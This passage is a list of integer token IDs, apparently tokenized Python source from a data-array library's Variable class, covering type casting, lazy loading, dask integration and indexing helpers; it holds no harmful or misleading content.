19269,
3618,
29892,
577,
6931,
411,
963,
3867,
5906,
635,
13,
1678,
6133,
4180,
1135,
773,
3630,
2588,
29879,
29889,
2398,
29892,
11525,
18099,
848,
297,
278,
13,
1678,
883,
310,
263,
13373,
24541,
470,
3630,
2588,
881,
4359,
2337,
367,
16389,
29892,
1363,
13,
1678,
896,
508,
671,
901,
4866,
15562,
297,
3030,
310,
14821,
11073,
29889,
13,
1678,
9995,
13,
13,
1678,
4770,
2536,
1862,
1649,
353,
4852,
29918,
6229,
29879,
613,
11119,
1272,
613,
11119,
5552,
29879,
613,
11119,
22331,
1159,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3964,
29879,
29892,
848,
29892,
12421,
29879,
29922,
8516,
29892,
8025,
29922,
8516,
29892,
5172,
2084,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
29879,
584,
851,
470,
5665,
310,
851,
13,
9651,
4408,
29898,
29879,
29897,
310,
278,
278,
848,
9927,
29898,
29879,
467,
19928,
367,
2845,
263,
1347,
313,
6194,
13,
9651,
363,
29871,
29896,
29928,
848,
29897,
470,
263,
5665,
310,
6031,
411,
3309,
5186,
304,
278,
13,
9651,
1353,
310,
13391,
29889,
13,
4706,
848,
584,
1409,
29918,
4561,
13,
9651,
3630,
1409,
607,
11286,
12655,
29899,
4561,
848,
2130,
29889,
13,
4706,
12421,
29879,
584,
9657,
29918,
4561,
470,
6213,
29892,
13136,
13,
9651,
6212,
5026,
304,
3566,
304,
278,
716,
2286,
29889,
960,
6213,
313,
4381,
511,
385,
13,
9651,
4069,
5352,
8600,
338,
16601,
29889,
13,
4706,
8025,
584,
9657,
29918,
4561,
470,
6213,
29892,
13136,
13,
9651,
13343,
22146,
920,
304,
19750,
445,
1409,
29915,
29879,
848,
964,
263,
13,
9651,
7797,
1891,
3402,
763,
7787,
29907,
4037,
29946,
29889,
15447,
1304,
6611,
313,
1454,
7787,
29907,
4037,
29897,
13,
9651,
3160,
22868,
20876,
1917,
742,
525,
7052,
29918,
19790,
742,
525,
1202,
29918,
10289,
29915,
322,
525,
29881,
1853,
4286,
13,
9651,
5674,
29899,
915,
8708,
287,
775,
304,
28755,
263,
28736,
881,
11455,
13,
9651,
443,
29423,
1891,
8025,
4452,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
1272,
353,
408,
29918,
23712,
29918,
1272,
29898,
1272,
29892,
5172,
2084,
29922,
11255,
2084,
29897,
13,
4706,
1583,
3032,
6229,
29879,
353,
1583,
3032,
5510,
29918,
6229,
5580,
29898,
6229,
29879,
29897,
13,
4706,
1583,
3032,
5552,
29879,
353,
6213,
13,
4706,
1583,
3032,
22331,
353,
6213,
13,
4706,
565,
12421,
29879,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
5552,
29879,
353,
12421,
29879,
13,
4706,
565,
8025,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
22331,
353,
8025,
13,
13,
1678,
732,
6799,
13,
1678,
822,
26688,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
29889,
29881,
1853,
13,
13,
1678,
732,
6799,
13,
1678,
822,
8267,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
29889,
12181,
13,
13,
1678,
732,
6799,
13,
1678,
822,
302,
13193,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2311,
334,
1583,
29889,
29881,
1853,
29889,
667,
2311,
13,
13,
1678,
732,
6799,
13,
1678,
822,
903,
262,
29918,
14834,
29898,
1311,
1125,
13,
4706,
736,
338,
8758,
29898,
1311,
3032,
1272,
29892,
313,
9302,
29889,
299,
2378,
29892,
7442,
29889,
4537,
29892,
349,
7086,
3220,
6168,
876,
470,
313,
13,
9651,
338,
8758,
29898,
1311,
3032,
1272,
29892,
26190,
29889,
16015,
29907,
3791,
2588,
29897,
13,
9651,
322,
338,
8758,
29898,
1311,
3032,
1272,
29889,
2378,
29892,
26190,
29889,
8009,
2272,
3220,
292,
6168,
29897,
13,
4706,
1723,
13,
13,
1678,
732,
6799,
13,
1678,
822,
848,
29898,
1311,
1125,
13,
4706,
565,
338,
29918,
700,
384,
29918,
2378,
29898,
1311,
3032,
1272,
1125,
13,
9651,
736,
1583,
3032,
1272,
13,
4706,
1683,
29901,
13,
9651,
736,
1583,
29889,
5975,
13,
13,
1678,
732,
1272,
29889,
842,
357,
13,
1678,
822,
848,
29898,
1311,
29892,
848,
1125,
13,
4706,
848,
353,
408,
29918,
23712,
29918,
1272,
29898,
1272,
29897,
13,
4706,
565,
848,
29889,
12181,
2804,
1583,
29889,
12181,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
285,
29908,
3445,
9552,
848,
1818,
1993,
278,
28736,
29915,
29879,
8267,
29889,
376,
13,
18884,
285,
29908,
3445,
9552,
848,
756,
8267,
426,
1272,
29889,
12181,
3400,
28736,
756,
8267,
426,
1311,
29889,
12181,
5038,
13,
9651,
1723,
13,
4706,
1583,
3032,
1272,
353,
848,
13,
13,
1678,
822,
8717,
668,
29898,
13,
4706,
1583,
29901,
28736,
1542,
29892,
13,
4706,
26688,
29892,
13,
4706,
334,
29892,
13,
4706,
1797,
29922,
8516,
29892,
13,
4706,
23013,
29922,
8516,
29892,
13,
4706,
1014,
554,
29922,
8516,
29892,
13,
4706,
3509,
29922,
8516,
29892,
13,
4706,
3013,
29918,
5552,
29879,
29922,
5574,
29892,
13,
1678,
1723,
1599,
28736,
1542,
29901,
13,
4706,
9995,
13,
4706,
14187,
310,
278,
28736,
1203,
29892,
411,
848,
4320,
304,
263,
6790,
1134,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
26688,
584,
851,
470,
26688,
13,
9651,
5167,
401,
470,
848,
29899,
1853,
304,
607,
278,
1409,
338,
4320,
29889,
13,
4706,
1797,
584,
11117,
29907,
742,
525,
29943,
742,
525,
29909,
742,
525,
29968,
16675,
13136,
13,
9651,
11264,
29879,
278,
3370,
5912,
1797,
310,
278,
1121,
29889,
5129,
29907,
30010,
2794,
315,
1797,
29892,
13,
9651,
5129,
29943,
30010,
2794,
7236,
661,
1797,
29892,
5129,
29909,
30010,
2794,
5129,
29943,
30010,
1797,
565,
599,
278,
7049,
526,
13,
9651,
7236,
661,
640,
5526,
681,
29892,
5129,
29907,
30010,
1797,
6467,
29892,
322,
5129,
29968,
30010,
2794,
408,
3802,
304,
13,
9651,
278,
1797,
278,
1409,
3161,
2615,
297,
3370,
408,
1950,
29889,
13,
4706,
23013,
584,
11117,
1217,
742,
525,
9402,
742,
525,
11177,
742,
525,
17642,
29918,
14380,
742,
525,
348,
11177,
16675,
13136,
13,
9651,
11264,
29879,
825,
2924,
310,
848,
23013,
1122,
6403,
29889,
13,
13,
9651,
334,
525,
1217,
29915,
2794,
278,
848,
4072,
881,
451,
367,
4320,
472,
599,
29889,
13,
9651,
334,
525,
9402,
29915,
2794,
871,
7023,
29899,
2098,
3620,
526,
6068,
29889,
13,
9651,
334,
525,
11177,
29915,
2794,
871,
4320,
29879,
607,
508,
19905,
1819,
526,
6068,
29889,
13,
9651,
334,
525,
17642,
29918,
14380,
29915,
2794,
871,
9109,
4320,
29879,
470,
4320,
29879,
2629,
263,
2924,
29892,
13,
795,
763,
5785,
29953,
29946,
304,
5785,
29941,
29906,
29892,
526,
6068,
29889,
13,
9651,
334,
525,
348,
11177,
29915,
2794,
738,
848,
9678,
1080,
1122,
367,
2309,
29889,
13,
13,
4706,
1014,
554,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
769,
1014,
29899,
13203,
674,
367,
4502,
29899,
20678,
29892,
6467,
278,
13,
9651,
4133,
1409,
674,
367,
11826,
304,
367,
263,
2967,
29899,
1990,
1409,
29889,
13,
4706,
3509,
584,
6120,
29892,
13136,
13,
9651,
2648,
2322,
29892,
8717,
668,
2337,
3639,
263,
15141,
19591,
1409,
29889,
960,
445,
13,
9651,
338,
731,
304,
7700,
322,
278,
421,
29881,
1853,
29952,
11809,
338,
15787,
29892,
278,
1881,
13,
9651,
1409,
338,
4133,
2012,
310,
263,
3509,
29889,
13,
4706,
3013,
29918,
5552,
29879,
584,
6120,
29892,
13136,
13,
9651,
2648,
2322,
29892,
8717,
668,
14874,
8393,
29889,
3789,
304,
7700,
304,
3349,
13,
9651,
8393,
297,
278,
4133,
1203,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
714,
584,
1021,
408,
1203,
13,
9651,
1570,
1203,
411,
848,
4320,
304,
278,
6790,
1134,
29889,
13,
13,
4706,
8695,
13,
4706,
448,
807,
13,
4706,
450,
4954,
2098,
29952,
1673,
4954,
4384,
292,
29952,
1673,
4954,
1491,
554,
16159,
322,
4954,
8552,
16159,
6273,
526,
871,
4502,
13,
4706,
1549,
304,
278,
4954,
579,
668,
16159,
1158,
310,
278,
14407,
1409,
746,
263,
995,
13,
4706,
1422,
1135,
4954,
8516,
16159,
338,
19056,
29889,
13,
4706,
8561,
1854,
304,
871,
11421,
1438,
6273,
565,
278,
14407,
1409,
770,
13,
4706,
11286,
963,
29889,
13,
13,
4706,
2823,
884,
13,
4706,
448,
26589,
13,
4706,
12655,
29889,
299,
2378,
29889,
579,
668,
13,
4706,
270,
1278,
29889,
2378,
29889,
2588,
29889,
579,
668,
13,
4706,
29234,
29889,
3217,
29949,
29889,
579,
668,
13,
4706,
9995,
13,
4706,
515,
869,
12097,
362,
1053,
3394,
29918,
1137,
4661,
13,
13,
4706,
9049,
5085,
353,
9657,
29898,
2098,
29922,
2098,
29892,
23013,
29922,
4384,
292,
29892,
1014,
554,
29922,
1491,
554,
29892,
3509,
29922,
8552,
29897,
13,
4706,
9049,
5085,
353,
426,
29895,
29901,
325,
363,
413,
29892,
325,
297,
9049,
5085,
29889,
7076,
580,
565,
325,
338,
451,
6213,
29913,
13,
13,
4706,
736,
3394,
29918,
1137,
4661,
29898,
13,
9651,
868,
384,
29918,
2378,
29918,
3554,
29889,
579,
668,
29892,
13,
9651,
1583,
29892,
13,
9651,
26688,
29892,
13,
9651,
9049,
5085,
29922,
19290,
29892,
13,
9651,
3013,
29918,
5552,
29879,
29922,
17462,
29918,
5552,
29879,
29892,
13,
9651,
270,
1278,
543,
24622,
613,
13,
4706,
1723,
13,
13,
1678,
822,
2254,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2517,
1474,
7135,
8363,
310,
445,
2286,
29915,
29879,
848,
515,
8086,
470,
263,
13,
4706,
7592,
2752,
964,
3370,
322,
736,
445,
2286,
29889,
13,
13,
4706,
5655,
635,
29892,
372,
881,
451,
367,
5181,
304,
1246,
445,
1158,
297,
1404,
775,
29892,
13,
4706,
1363,
599,
921,
2378,
3168,
881,
2845,
664,
373,
316,
14373,
848,
470,
13,
4706,
2254,
848,
6336,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3579,
19290,
584,
9657,
13,
9651,
3462,
3245,
13553,
6273,
4502,
373,
304,
4954,
29881,
1278,
29889,
2378,
29889,
26017,
29952,
1412,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
270,
1278,
29889,
2378,
29889,
26017,
13,
4706,
9995,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1311,
3032,
1272,
1125,
13,
9651,
1583,
3032,
1272,
353,
408,
29918,
23712,
29918,
1272,
29898,
1311,
3032,
1272,
29889,
26017,
29898,
1068,
19290,
876,
13,
4706,
25342,
451,
338,
29918,
700,
384,
29918,
2378,
29898,
1311,
3032,
1272,
1125,
13,
9651,
1583,
3032,
1272,
353,
7442,
29889,
294,
2378,
29898,
1311,
3032,
1272,
29897,
13,
4706,
736,
1583,
13,
13,
1678,
822,
10272,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2517,
1474,
7135,
8363,
310,
445,
2286,
29915,
29879,
848,
515,
8086,
470,
263,
13,
4706,
7592,
2752,
964,
3370,
322,
736,
263,
716,
2286,
29889,
450,
2441,
338,
13,
4706,
2175,
443,
13794,
287,
29889,
13,
13,
4706,
5655,
635,
29892,
372,
881,
451,
367,
5181,
304,
1246,
445,
1158,
297,
1404,
775,
29892,
13,
4706,
1363,
599,
921,
2378,
3168,
881,
2845,
664,
373,
316,
14373,
848,
470,
13,
4706,
2254,
848,
6336,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3579,
19290,
584,
9657,
13,
9651,
3462,
3245,
13553,
6273,
4502,
373,
304,
4954,
29881,
1278,
29889,
2378,
29889,
26017,
29952,
1412,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
270,
1278,
29889,
2378,
29889,
26017,
13,
4706,
9995,
13,
4706,
716,
353,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
4706,
736,
716,
29889,
1359,
29898,
1068,
19290,
29897,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
6979,
675,
12035,
1311,
1125,
13,
4706,
396,
4803,
325,
29889,
1272,
29892,
2012,
310,
325,
3032,
1272,
29892,
297,
1797,
304,
1302,
412,
411,
278,
11463,
22437,
13,
4706,
396,
2820,
12670,
29907,
4037,
322,
278,
763,
13,
4706,
515,
270,
1278,
29889,
3188,
1053,
4226,
675,
29918,
6979,
13,
13,
4706,
736,
4226,
675,
29918,
6979,
3552,
1853,
29898,
1311,
511,
1583,
3032,
6229,
29879,
29892,
1583,
29889,
1272,
29892,
1583,
3032,
5552,
29879,
876,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
4262,
12035,
1311,
1125,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1311,
3032,
1272,
1125,
13,
9651,
736,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
4262,
1649,
580,
13,
4706,
1683,
29901,
13,
9651,
736,
6213,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
8149,
12035,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
8149,
1649,
580,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
29277,
12035,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
29277,
1649,
580,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4770,
29881,
1278,
29918,
20640,
675,
12035,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
20640,
675,
1649,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4770,
29881,
1278,
29918,
816,
14952,
12035,
1311,
1125,
13,
4706,
736,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
816,
14952,
1649,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
2490,
26017,
12035,
1311,
1125,
13,
4706,
1409,
29918,
9891,
29892,
1409,
29918,
5085,
353,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
2490,
26017,
1649,
580,
13,
4706,
736,
313,
13,
9651,
1583,
3032,
29881,
1278,
29918,
8394,
675,
29892,
13,
9651,
313,
2378,
29918,
9891,
29892,
1409,
29918,
5085,
29892,
1583,
3032,
6229,
29879,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
511,
13,
4706,
1723,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
2490,
6774,
391,
12035,
1311,
1125,
13,
4706,
1409,
29918,
9891,
29892,
1409,
29918,
5085,
353,
1583,
3032,
1272,
17255,
29881,
1278,
29918,
2490,
6774,
391,
1649,
580,
13,
4706,
736,
313,
13,
9651,
1583,
3032,
29881,
1278,
29918,
8394,
675,
29892,
13,
9651,
313,
2378,
29918,
9891,
29892,
1409,
29918,
5085,
29892,
1583,
3032,
6229,
29879,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
511,
13,
4706,
1723,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
903,
29881,
1278,
29918,
8394,
675,
29898,
9902,
29892,
1409,
29918,
9891,
29892,
1409,
29918,
5085,
29892,
3964,
29879,
29892,
12421,
29879,
29892,
8025,
1125,
13,
4706,
848,
353,
1409,
29918,
9891,
29898,
9902,
29892,
334,
2378,
29918,
5085,
29897,
13,
4706,
736,
28736,
29898,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29922,
5552,
29879,
29892,
8025,
29922,
22331,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1819,
29898,
1311,
1125,
13,
4706,
9995,
1576,
2286,
29915,
29879,
848,
408,
263,
12655,
29889,
299,
2378,
15945,
29908,
13,
4706,
736,
903,
294,
29918,
2378,
29918,
272,
29918,
667,
29898,
1311,
3032,
1272,
29897,
13,
13,
1678,
732,
5975,
29889,
842,
357,
13,
1678,
822,
1819,
29898,
1311,
29892,
1819,
1125,
13,
4706,
1583,
29889,
1272,
353,
1819,
13,
13,
1678,
822,
304,
29918,
3188,
29918,
11918,
29898,
1311,
1125,
13,
4706,
9995,
11609,
445,
2286,
408,
263,
2967,
921,
2378,
29889,
16174,
15945,
29908,
13,
4706,
736,
28736,
29898,
13,
9651,
1583,
29889,
6229,
29879,
29892,
1583,
3032,
1272,
29892,
1583,
3032,
5552,
29879,
29892,
8025,
29922,
1311,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
13,
4706,
1723,
13,
13,
1678,
304,
29918,
11918,
353,
3667,
29879,
29889,
19973,
29898,
517,
29918,
3188,
29918,
11918,
29892,
376,
517,
29918,
11918,
1159,
13,
13,
1678,
822,
304,
29918,
2248,
29918,
11918,
29898,
1311,
1125,
13,
4706,
9995,
11609,
445,
2286,
408,
385,
921,
2378,
29889,
3220,
16174,
15945,
29908,
13,
4706,
736,
11374,
16174,
29898,
13,
9651,
1583,
29889,
6229,
29879,
29892,
1583,
3032,
1272,
29892,
1583,
3032,
5552,
29879,
29892,
8025,
29922,
1311,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
13,
4706,
1723,
13,
13,
1678,
304,
29918,
1111,
536,
353,
3667,
29879,
29889,
19973,
29898,
517,
29918,
2248,
29918,
11918,
29892,
376,
517,
29918,
1111,
536,
1159,
13,
13,
1678,
822,
304,
29918,
2248,
29898,
1311,
1125,
13,
4706,
9995,
18455,
445,
2286,
304,
263,
11701,
29889,
3220,
15945,
29908,
13,
4706,
736,
1583,
29889,
517,
29918,
2248,
29918,
11918,
2141,
517,
29918,
2248,
580,
13,
13,
1678,
822,
304,
29918,
8977,
29898,
1311,
29892,
848,
29922,
5574,
1125,
13,
4706,
9995,
11513,
8954,
310,
2286,
1213,
15945,
13,
4706,
2944,
353,
8853,
6229,
29879,
1115,
1583,
29889,
6229,
29879,
29892,
376,
5552,
29879,
1115,
21822,
29918,
23749,
29918,
8977,
29918,
5975,
29898,
1311,
29889,
5552,
29879,
2915,
13,
4706,
565,
848,
29901,
13,
9651,
2944,
3366,
1272,
3108,
353,
9801,
29918,
375,
29918,
2230,
29918,
9778,
918,
29898,
1311,
29889,
5975,
467,
25027,
391,
580,
13,
4706,
1683,
29901,
13,
9651,
2944,
29889,
5504,
3319,
29908,
29881,
1853,
1115,
851,
29898,
1311,
29889,
29881,
1853,
511,
376,
12181,
1115,
1583,
29889,
12181,
1800,
13,
4706,
736,
2944,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3964,
29879,
29898,
1311,
1125,
13,
4706,
9995,
23215,
552,
310,
9927,
2983,
411,
607,
445,
2286,
338,
6942,
1213,
15945,
13,
4706,
736,
1583,
3032,
6229,
29879,
13,
13,
1678,
732,
6229,
29879,
29889,
842,
357,
13,
1678,
822,
3964,
29879,
29898,
1311,
29892,
995,
1125,
13,
4706,
1583,
3032,
6229,
29879,
353,
1583,
3032,
5510,
29918,
6229,
5580,
29898,
1767,
29897,
13,
13,
1678,
822,
903,
5510,
29918,
6229,
5580,
29898,
1311,
29892,
3964,
29879,
1125,
13,
4706,
565,
338,
8758,
29898,
6229,
29879,
29892,
851,
1125,
13,
9651,
3964,
29879,
353,
313,
6229,
29879,
29892,
29897,
13,
4706,
3964,
29879,
353,
18761,
29898,
6229,
29879,
29897,
13,
4706,
565,
7431,
29898,
6229,
29879,
29897,
2804,
1583,
29889,
299,
326,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
6229,
5580,
1273,
29879,
1818,
505,
278,
1021,
3309,
408,
278,
376,
13,
18884,
376,
4537,
310,
848,
13391,
29892,
29871,
299,
326,
16328,
29879,
29908,
1273,
313,
6229,
29879,
29892,
1583,
29889,
299,
326,
29897,
13,
9651,
1723,
13,
4706,
736,
3964,
29879,
13,
13,
1678,
822,
903,
667,
29918,
1989,
29918,
517,
29918,
23583,
29898,
1311,
29892,
1820,
1125,
13,
4706,
565,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
1989,
1125,
13,
9651,
736,
18761,
29898,
1989,
29889,
657,
29898,
6229,
29892,
22780,
29898,
8516,
876,
363,
3964,
297,
1583,
29889,
6229,
29879,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
1820,
13,
13,
1678,
822,
903,
6729,
328,
4384,
29918,
2248,
267,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
29925,
3445,
598,
385,
26190,
1820,
363,
385,
26190,
5858,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
28400,
13,
4706,
1820,
29901,
938,
29892,
22780,
29892,
1409,
29899,
4561,
29892,
9657,
470,
18761,
310,
6043,
29892,
22780,
322,
1409,
29899,
4561,
13,
9651,
3139,
2854,
1881,
363,
26190,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
3964,
29879,
584,
18761,
13,
9651,
4792,
2673,
310,
278,
1121,
424,
2286,
29889,
13,
4706,
2380,
414,
584,
11374,
292,
23215,
552,
19481,
13,
9651,
12603,
552,
310,
6043,
29892,
1409,
29899,
4561,
29892,
470,
269,
29399,
304,
671,
746,
26190,
13,
9651,
1583,
3032,
1272,
29889,
450,
1134,
310,
445,
2980,
14088,
278,
1134,
310,
13,
9651,
26190,
304,
2189,
29892,
2845,
6996,
29892,
11420,
470,
4608,
1891,
29889,
13,
4706,
716,
29918,
2098,
584,
28379,
29961,
20529,
29961,
524,
5262,
13,
9651,
28379,
337,
2098,
292,
304,
437,
373,
278,
1121,
310,
26190,
29889,
960,
451,
6213,
29892,
13,
9651,
278,
937,
7431,
29898,
1482,
29918,
2098,
29897,
26190,
881,
367,
6153,
304,
1438,
13,
9651,
11909,
29889,
13,
4706,
9995,
13,
4706,
1820,
353,
1583,
3032,
667,
29918,
1989,
29918,
517,
29918,
23583,
29898,
1989,
29897,
29871,
396,
1820,
338,
263,
18761,
13,
4706,
396,
1820,
338,
263,
18761,
310,
2989,
2159,
13,
4706,
1820,
353,
26190,
29889,
18837,
287,
29918,
2248,
261,
29898,
1989,
29892,
1583,
29889,
299,
326,
29897,
13,
4706,
396,
14806,
263,
17336,
28736,
304,
385,
6043,
13,
4706,
1820,
353,
18761,
29898,
13,
9651,
413,
29889,
1272,
29889,
667,
580,
565,
338,
8758,
29898,
29895,
29892,
28736,
29897,
322,
413,
29889,
299,
326,
1275,
29871,
29900,
1683,
413,
363,
413,
297,
1820,
13,
4706,
1723,
13,
4706,
396,
14806,
263,
29871,
29900,
29881,
29899,
2378,
304,
385,
6043,
13,
4706,
1820,
353,
18761,
29898,
13,
9651,
413,
29889,
667,
580,
565,
338,
8758,
29898,
29895,
29892,
7442,
29889,
299,
2378,
29897,
322,
413,
29889,
299,
326,
1275,
29871,
29900,
1683,
413,
363,
413,
297,
1820,
13,
4706,
1723,
13,
13,
4706,
565,
599,
29898,
275,
8758,
29898,
29895,
29892,
350,
3289,
2965,
29918,
27992,
4214,
29918,
15631,
29925,
2890,
29897,
363,
413,
297,
1820,
1125,
13,
9651,
736,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29918,
16121,
29898,
1989,
29897,
13,
13,
4706,
1583,
3032,
15480,
29918,
2248,
414,
29898,
1989,
29897,
13,
4706,
396,
5953,
522,
372,
508,
367,
20545,
408,
385,
11420,
2380,
261,
13,
4706,
396,
960,
599,
1820,
338,
443,
29880,
24025,
29892,
470,
13,
4706,
396,
1820,
508,
367,
20545,
408,
385,
4451,
261,
3220,
261,
29889,
13,
4706,
565,
599,
29898,
1333,
338,
8758,
29898,
29895,
29892,
28736,
29897,
363,
413,
297,
1820,
1125,
13,
9651,
736,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29918,
5561,
29898,
1989,
29897,
13,
13,
4706,
396,
960,
599,
1820,
338,
29871,
29896,
29899,
12531,
322,
727,
526,
694,
7929,
11073,
29892,
13,
4706,
396,
1820,
508,
367,
20545,
408,
385,
4451,
261,
3220,
261,
29889,
13,
4706,
3964,
29879,
353,
5159,
13,
4706,
363,
413,
29892,
270,
297,
14319,
29898,
1989,
29892,
1583,
29889,
6229,
29879,
1125,
13,
9651,
565,
338,
8758,
29898,
29895,
29892,
28736,
1125,
13,
18884,
565,
7431,
29898,
29895,
29889,
6229,
29879,
29897,
1405,
29871,
29896,
29901,
13,
462,
1678,
736,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29918,
8111,
1891,
29898,
1989,
29897,
13,
18884,
3964,
29879,
29889,
4397,
29898,
29895,
29889,
6229,
29879,
29961,
29900,
2314,
13,
9651,
25342,
451,
338,
8758,
29898,
29895,
29892,
6043,
29918,
8768,
1125,
13,
18884,
3964,
29879,
29889,
4397,
29898,
29881,
29897,
13,
4706,
565,
7431,
29898,
842,
29898,
6229,
29879,
876,
1275,
7431,
29898,
6229,
29879,
1125,
13,
9651,
736,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29918,
5561,
29898,
1989,
29897,
13,
13,
4706,
736,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29918,
8111,
1891,
29898,
1989,
29897,
13,
13,
1678,
822,
903,
6729,
328,
4384,
29918,
2248,
267,
29918,
16121,
29898,
1311,
29892,
1820,
1125,
13,
4706,
3964,
29879,
353,
18761,
29898,
13,
9651,
3964,
363,
413,
29892,
3964,
297,
14319,
29898,
1989,
29892,
1583,
29889,
6229,
29879,
29897,
565,
451,
338,
8758,
29898,
29895,
29892,
6043,
29918,
8768,
29897,
13,
4706,
1723,
13,
4706,
736,
3964,
29879,
29892,
19219,
3220,
261,
29898,
1989,
511,
6213,
13,
13,
1678,
822,
903,
15480,
29918,
2248,
414,
29898,
1311,
29892,
1820,
1125,
13,
4706,
9995,
8561,
9753,
537,
12747,
9995,
13,
4706,
363,
3964,
29892,
413,
297,
14319,
29898,
1311,
29889,
6229,
29879,
29892,
1820,
1125,
13,
9651,
565,
338,
8758,
29898,
29895,
29892,
350,
3289,
2965,
29918,
27992,
4214,
29918,
15631,
29925,
2890,
1125,
13,
18884,
1209,
13,
9651,
1683,
29901,
13,
18884,
565,
451,
338,
8758,
29898,
29895,
29892,
28736,
1125,
13,
462,
1678,
413,
353,
7442,
29889,
294,
2378,
29898,
29895,
29897,
13,
462,
1678,
565,
413,
29889,
299,
326,
1405,
29871,
29896,
29901,
13,
462,
4706,
12020,
11374,
2392,
29898,
13,
462,
9651,
376,
2525,
29880,
24025,
2473,
29899,
12531,
1409,
2609,
367,
376,
13,
462,
9651,
376,
3880,
363,
26190,
29901,
6571,
1642,
4830,
29898,
29895,
29897,
13,
462,
4706,
1723,
13,
18884,
565,
413,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29890,
1115,
13,
462,
1678,
565,
1583,
29889,
12181,
29961,
1311,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
4638,
2804,
7431,
29898,
29895,
1125,
13,
462,
4706,
12020,
11374,
2392,
29898,
13,
462,
9651,
376,
18146,
1409,
2159,
12365,
29881,
29913,
338,
1304,
304,
2380,
1409,
376,
13,
462,
9651,
376,
2541,
8267,
12365,
29879,
29913,
1213,
29889,
4830,
29898,
2435,
29898,
29895,
511,
851,
29898,
1311,
29889,
12181,
876,
13,
462,
4706,
1723,
13,
462,
1678,
565,
413,
29889,
299,
326,
1405,
29871,
29896,
29901,
13,
462,
4706,
12020,
11374,
2392,
29898,
13,
462,
9651,
29850,
7402,
12531,
7223,
26190,
338,
376,
13,
462,
9651,
376,
1333,
6969,
29889,
11393,
4830,
29898,
29895,
29889,
299,
326,
29897,
13,
462,
4706,
1723,
13,
462,
1678,
565,
679,
5552,
29898,
29895,
29892,
376,
6229,
29879,
613,
313,
6229,
29892,
876,
2804,
313,
6229,
29892,
1125,
13,
462,
4706,
12020,
11374,
2392,
29898,
13,
462,
9651,
376,
18146,
2380,
261,
881,
367,
443,
29880,
24025,
470,
373,
278,
376,
13,
462,
9651,
376,
17642,
9927,
304,
278,
27541,
1409,
29889,
11374,
261,
338,
376,
13,
462,
9651,
376,
265,
12365,
29879,
29913,
541,
278,
3646,
9927,
338,
12365,
29879,
29913,
1213,
29889,
4830,
29898,
13,
462,
18884,
851,
29898,
29895,
29889,
6229,
29879,
511,
3964,
13,
462,
9651,
1723,
13,
462,
4706,
1723,
13,
13,
1678,
822,
903,
6729,
328,
4384,
29918,
2248,
267,
29918,
5561,
29898,
1311,
29892,
1820,
1125,
13,
4706,
3964,
29879,
353,
18761,
29898,
13,
9651,
413,
29889,
6229,
29879,
29961,
29900,
29962,
565,
338,
8758,
29898,
29895,
29892,
28736,
29897,
1683,
3964,
13,
9651,
363,
413,
29892,
3964,
297,
14319,
29898,
1989,
29892,
1583,
29889,
6229,
29879,
29897,
13,
9651,
565,
451,
338,
8758,
29898,
29895,
29892,
6043,
29918,
8768,
29897,
13,
